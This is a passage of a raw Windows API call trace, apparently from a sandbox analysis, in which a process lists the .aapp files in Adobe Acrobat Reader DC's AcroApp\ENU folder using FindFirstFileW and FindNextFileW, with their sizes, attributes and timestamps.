lpFindFileData=0x1f35bf30 | out: lpFindFileData=0x1f35bf30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3632d245, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x3632d245, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x3632d245, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec32770 [0079.745] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3632d245, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x3632d245, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x3632d245, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.745] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3632d245, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xe2a87d43, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xe2a87d43, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ENU", cAlternateFileName="")) returned 1 [0079.745] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f35bef0 | out: lpFindFileData=0x1f35bef0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0079.745] FindClose (in: hFindFile=0x1ec32770 | out: hFindFile=0x1ec32770) returned 1 [0079.746] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35c150) returned 1 [0079.746] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35c110) returned 1 [0079.746] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35b7e0) returned 1 [0079.746] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroApp\\ENU", nBufferLength=0x105, lpBuffer=0x1f35b280, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroApp\\ENU", lpFilePart=0x0) returned 0x41 [0079.746] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroApp\\ENU\\*", lpFindFileData=0x1f35b500 | out: lpFindFileData=0x1f35b500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3632d245, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xe2a87d43, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xe2a87d43, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec32b90 [0079.953] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f35b4c0 | out: lpFindFileData=0x1f35b4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3632d245, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xe2a87d43, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xe2a87d43, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.954] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f35b4c0 | out: lpFindFileData=0x1f35b4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x3637970e, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x126, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppCenter_R.aapp", cAlternateFileName="APPCEN~1.AAP")) returned 1 [0079.954] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f35b4c0 | out: lpFindFileData=0x1f35b4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x3637970e, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x2b1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Certificates_R.aapp", cAlternateFileName="CERTIF~1.AAP")) returned 1 [0079.954] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f35b4c0 | out: lpFindFileData=0x1f35b4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x3639f962, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x17f, dwReserved0=0x0, dwReserved1=0x0, cFileName="CollectSignatures.aapp", cAlternateFileName="COLLEC~1.AAP")) returned 1 [0079.954] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f35b4c0 | out: lpFindFileData=0x1f35b4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72bf0d00, ftCreationTime.dwHighDateTime=0x1d28909, ftLastAccessTime.dwLowDateTime=0x191f2bd5, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x72bf0d00, ftLastWriteTime.dwHighDateTime=0x1d28909, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Combine_R_RHP.aapp", cAlternateFileName="COMBIN~1.AAP")) returned 1 [0079.954] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f35b4c0 | out: lpFindFileData=0x1f35b4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1758800, ftCreationTime.dwHighDateTime=0x1d28954, ftLastAccessTime.dwLowDateTime=0x1d500f0c, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe1758800, ftLastWriteTime.dwHighDateTime=0x1d28954, nFileSizeHigh=0x0, nFileSizeLow=0xe8c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Comments.aapp", cAlternateFileName="COMMEN~1.AAP")) returned 1 [0079.954] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f35b4c0 | out: lpFindFileData=0x1f35b4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcce1de00, ftCreationTime.dwHighDateTime=0x1d36777, ftLastAccessTime.dwLowDateTime=0xdaf2622c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xcce1de00, ftLastWriteTime.dwHighDateTime=0x1d36777, nFileSizeHigh=0x0, nFileSizeLow=0x1b5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Compare_R_RHP.aapp", cAlternateFileName="COMPAR~1.AAP")) returned 1 [0079.954] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f35b4c0 | out: lpFindFileData=0x1f35b4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x3632d245, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x171, dwReserved0=0x0, dwReserved1=0x0, cFileName="CPDF_Full.aapp", cAlternateFileName="CPDF_F~1.AAP")) returned 1 [0079.955] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f35b4c0 | out: lpFindFileData=0x1f35b4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x3632d245, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x17e, dwReserved0=0x0, dwReserved1=0x0, cFileName="CPDF_RHP.aapp", cAlternateFileName="CPDF_R~1.AAP")) returned 1 [0079.955] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f35b4c0 | out: lpFindFileData=0x1f35b4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcce1de00, ftCreationTime.dwHighDateTime=0x1d36777, ftLastAccessTime.dwLowDateTime=0xdaf2622c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xcce1de00, ftLastWriteTime.dwHighDateTime=0x1d36777, nFileSizeHigh=0x0, nFileSizeLow=0x197, dwReserved0=0x0, dwReserved1=0x0, cFileName="Edit_R_Exp_RHP.aapp", cAlternateFileName="EDIT_R~3.AAP")) returned 1 [0079.955] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f35b4c0 | out: lpFindFileData=0x1f35b4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cc98600, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xe2a61b10, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3cc98600, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x192, dwReserved0=0x0, dwReserved1=0x0, cFileName="Edit_R_Full.aapp", cAlternateFileName="EDIT_R~1.AAP")) returned 1 [0079.955] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f35b4c0 | out: lpFindFileData=0x1f35b4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cc98600, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xe2a87d43, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3cc98600, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x191, dwReserved0=0x0, dwReserved1=0x0, cFileName="Edit_R_RHP.aapp", cAlternateFileName="EDIT_R~2.AAP")) returned 1 [0079.955] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f35b4c0 | out: lpFindFileData=0x1f35b4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x3632d245, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x185, dwReserved0=0x0, dwReserved1=0x0, cFileName="EPDF_Full.aapp", cAlternateFileName="EPDF_F~1.AAP")) returned 1 [0079.955] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f35b4c0 | out: lpFindFileData=0x1f35b4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x363534a5, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x192, dwReserved0=0x0, dwReserved1=0x0, cFileName="EPDF_RHP.aapp", cAlternateFileName="EPDF_R~1.AAP")) returned 1 [0079.955] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f35b4c0 | out: lpFindFileData=0x1f35b4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1758800, ftCreationTime.dwHighDateTime=0x1d28954, ftLastAccessTime.dwLowDateTime=0x1d52724e, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe1758800, ftLastWriteTime.dwHighDateTime=0x1d28954, nFileSizeHigh=0x0, nFileSizeLow=0xa7d, dwReserved0=0x0, dwReserved1=0x0, cFileName="FillSign.aapp", cAlternateFileName="FILLSI~1.AAP")) returned 1 [0079.956] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f35b4c0 | out: lpFindFileData=0x1f35b4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1758800, ftCreationTime.dwHighDateTime=0x1d28954, ftLastAccessTime.dwLowDateTime=0x1d551e46, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe1758800, ftLastWriteTime.dwHighDateTime=0x1d28954, nFileSizeHigh=0x0, nFileSizeLow=0x163, dwReserved0=0x0, dwReserved1=0x0, cFileName="Home.aapp", cAlternateFileName="HOME~1.AAP")) returned 1 [0079.956] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f35b4c0 | out: lpFindFileData=0x1f35b4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x363ebe21, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x249, dwReserved0=0x0, dwReserved1=0x0, cFileName="Measure.aapp", cAlternateFileName="MEASUR~1.AAP")) returned 1 [0079.956] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f35b4c0 | out: lpFindFileData=0x1f35b4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72bf0d00, ftCreationTime.dwHighDateTime=0x1d28909, ftLastAccessTime.dwLowDateTime=0x19218da3, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x72bf0d00, ftLastWriteTime.dwHighDateTime=0x1d28909, nFileSizeHigh=0x0, nFileSizeLow=0x15c, dwReserved0=0x0, dwReserved1=0x0, cFileName="MoreTools.aapp", cAlternateFileName="MORETO~1.AAP")) returned 1 [0079.956] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f35b4c0 | out: lpFindFileData=0x1f35b4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcce1de00, ftCreationTime.dwHighDateTime=0x1d36777, ftLastAccessTime.dwLowDateTime=0xdaf4c482, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xcce1de00, ftLastWriteTime.dwHighDateTime=0x1d36777, nFileSizeHigh=0x0, nFileSizeLow=0x1b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OptimizePDF_R_RHP.aapp", cAlternateFileName="OPTIMI~1.AAP")) returned 1 [0079.956] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f35b4c0 | out: lpFindFileData=0x1f35b4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72bf0d00, ftCreationTime.dwHighDateTime=0x1d28909, ftLastAccessTime.dwLowDateTime=0x19218da3, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x72bf0d00, ftLastWriteTime.dwHighDateTime=0x1d28909, nFileSizeHigh=0x0, nFileSizeLow=0x193, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pages_R_RHP.aapp", cAlternateFileName="PAGES_~1.AAP")) returned 1 [0079.956] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f35b4c0 | out: lpFindFileData=0x1f35b4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcce1de00, ftCreationTime.dwHighDateTime=0x1d36777, ftLastAccessTime.dwLowDateTime=0xdaf4c482, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xcce1de00, ftLastWriteTime.dwHighDateTime=0x1d36777, nFileSizeHigh=0x0, nFileSizeLow=0x1ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="Protect_R_RHP.aapp", cAlternateFileName="PROTEC~1.AAP")) returned 1 [0079.956] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f35b4c0 | out: lpFindFileData=0x1f35b4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcce1de00, ftCreationTime.dwHighDateTime=0x1d36777, ftLastAccessTime.dwLowDateTime=0xdaf726db, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xcce1de00, ftLastWriteTime.dwHighDateTime=0x1d36777, nFileSizeHigh=0x0, nFileSizeLow=0x193, dwReserved0=0x0, dwReserved1=0x0, cFileName="Redact_R_RHP.aapp", cAlternateFileName="REDACT~1.AAP")) returned 1 [0079.957] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f35b4c0 | out: lpFindFileData=0x1f35b4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcce1de00, ftCreationTime.dwHighDateTime=0x1d36777, ftLastAccessTime.dwLowDateTime=0xdaf726db, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xcce1de00, ftLastWriteTime.dwHighDateTime=0x1d36777, nFileSizeHigh=0x0, nFileSizeLow=0x1c9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Scan_R_RHP.aapp", cAlternateFileName="SCAN_R~1.AAP")) returned 1 [0079.957] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f35b4c0 | out: lpFindFileData=0x1f35b4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x363ebe21, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x239, dwReserved0=0x0, dwReserved1=0x0, cFileName="Stamp.aapp", cAlternateFileName="STAMP~1.AAP")) returned 1 [0079.957] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f35b4c0 | out: lpFindFileData=0x1f35b4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x3637970e, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x182, dwReserved0=0x0, dwReserved1=0x0, cFileName="TrackedSend.aapp", cAlternateFileName="TRACKE~1.AAP")) returned 1 [0079.957] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f35b4c0 | out: lpFindFileData=0x1f35b4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x36fd7dc6, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x12b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Viewer.aapp", cAlternateFileName="VIEWER~1.AAP")) returned 1 [0079.957] FindNextFileW (in: hFindFile=0x1ec32b90, lpFindFileData=0x1f35b4c0 | out: lpFindFileData=0x1f35b4c0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0079.957] FindClose (in: hFindFile=0x1ec32b90 | out: hFindFile=0x1ec32b90) returned 1 [0079.958] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35b720) returned 1 [0079.958] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35b6e0) returned 1 [0079.958] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35b7e0) returned 1 [0079.958] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroApp\\ENU", nBufferLength=0x105, lpBuffer=0x1f35b280, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroApp\\ENU", lpFilePart=0x0) returned 0x41 [0079.958] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroApp\\ENU\\*", lpFindFileData=0x1f35b500 | out: lpFindFileData=0x1f35b500*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3632d245, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xe2a87d43, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xe2a87d43, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec32770 [0079.959] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f35b4c0 | out: lpFindFileData=0x1f35b4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3632d245, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xe2a87d43, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xe2a87d43, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0079.959] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f35b4c0 | out: lpFindFileData=0x1f35b4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x3637970e, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x126, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppCenter_R.aapp", cAlternateFileName="APPCEN~1.AAP")) returned 1 [0079.959] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f35b4c0 | out: lpFindFileData=0x1f35b4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x3637970e, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x2b1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Certificates_R.aapp", cAlternateFileName="CERTIF~1.AAP")) returned 1 [0079.960] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f35b4c0 | out: lpFindFileData=0x1f35b4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x3639f962, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x17f, dwReserved0=0x0, dwReserved1=0x0, cFileName="CollectSignatures.aapp", cAlternateFileName="COLLEC~1.AAP")) returned 1 [0079.960] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f35b4c0 | out: lpFindFileData=0x1f35b4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72bf0d00, ftCreationTime.dwHighDateTime=0x1d28909, ftLastAccessTime.dwLowDateTime=0x191f2bd5, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0x72bf0d00, ftLastWriteTime.dwHighDateTime=0x1d28909, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Combine_R_RHP.aapp", cAlternateFileName="COMBIN~1.AAP")) returned 1 [0079.960] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f35b4c0 | out: lpFindFileData=0x1f35b4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1758800, ftCreationTime.dwHighDateTime=0x1d28954, ftLastAccessTime.dwLowDateTime=0x1d500f0c, ftLastAccessTime.dwHighDateTime=0x1d35e03, ftLastWriteTime.dwLowDateTime=0xe1758800, ftLastWriteTime.dwHighDateTime=0x1d28954, nFileSizeHigh=0x0, nFileSizeLow=0xe8c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Comments.aapp", cAlternateFileName="COMMEN~1.AAP")) returned 1 [0079.960] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f35b4c0 | out: lpFindFileData=0x1f35b4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcce1de00, ftCreationTime.dwHighDateTime=0x1d36777, ftLastAccessTime.dwLowDateTime=0xdaf2622c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xcce1de00, ftLastWriteTime.dwHighDateTime=0x1d36777, nFileSizeHigh=0x0, nFileSizeLow=0x1b5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Compare_R_RHP.aapp", cAlternateFileName="COMPAR~1.AAP")) returned 1 [0079.960] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f35b4c0 | out: lpFindFileData=0x1f35b4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x3632d245, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x171, dwReserved0=0x0, dwReserved1=0x0, cFileName="CPDF_Full.aapp", cAlternateFileName="CPDF_F~1.AAP")) returned 1 [0079.960] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f35b4c0 | out: lpFindFileData=0x1f35b4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb506b200, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x3632d245, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb506b200, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x17e, dwReserved0=0x0, dwReserved1=0x0, cFileName="CPDF_RHP.aapp", cAlternateFileName="CPDF_R~1.AAP")) returned 1 [0079.961] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f35b4c0 | out: lpFindFileData=0x1f35b4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcce1de00, ftCreationTime.dwHighDateTime=0x1d36777, ftLastAccessTime.dwLowDateTime=0xdaf2622c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xcce1de00, ftLastWriteTime.dwHighDateTime=0x1d36777, nFileSizeHigh=0x0, nFileSizeLow=0x197, dwReserved0=0x0, dwReserved1=0x0, cFileName="Edit_R_Exp_RHP.aapp", cAlternateFileName="EDIT_R~3.AAP")) returned 1 [0079.961] FindNextFileW (in: hFindFile=0x1ec32770, lpFindFileData=0x1f35b4c0 | 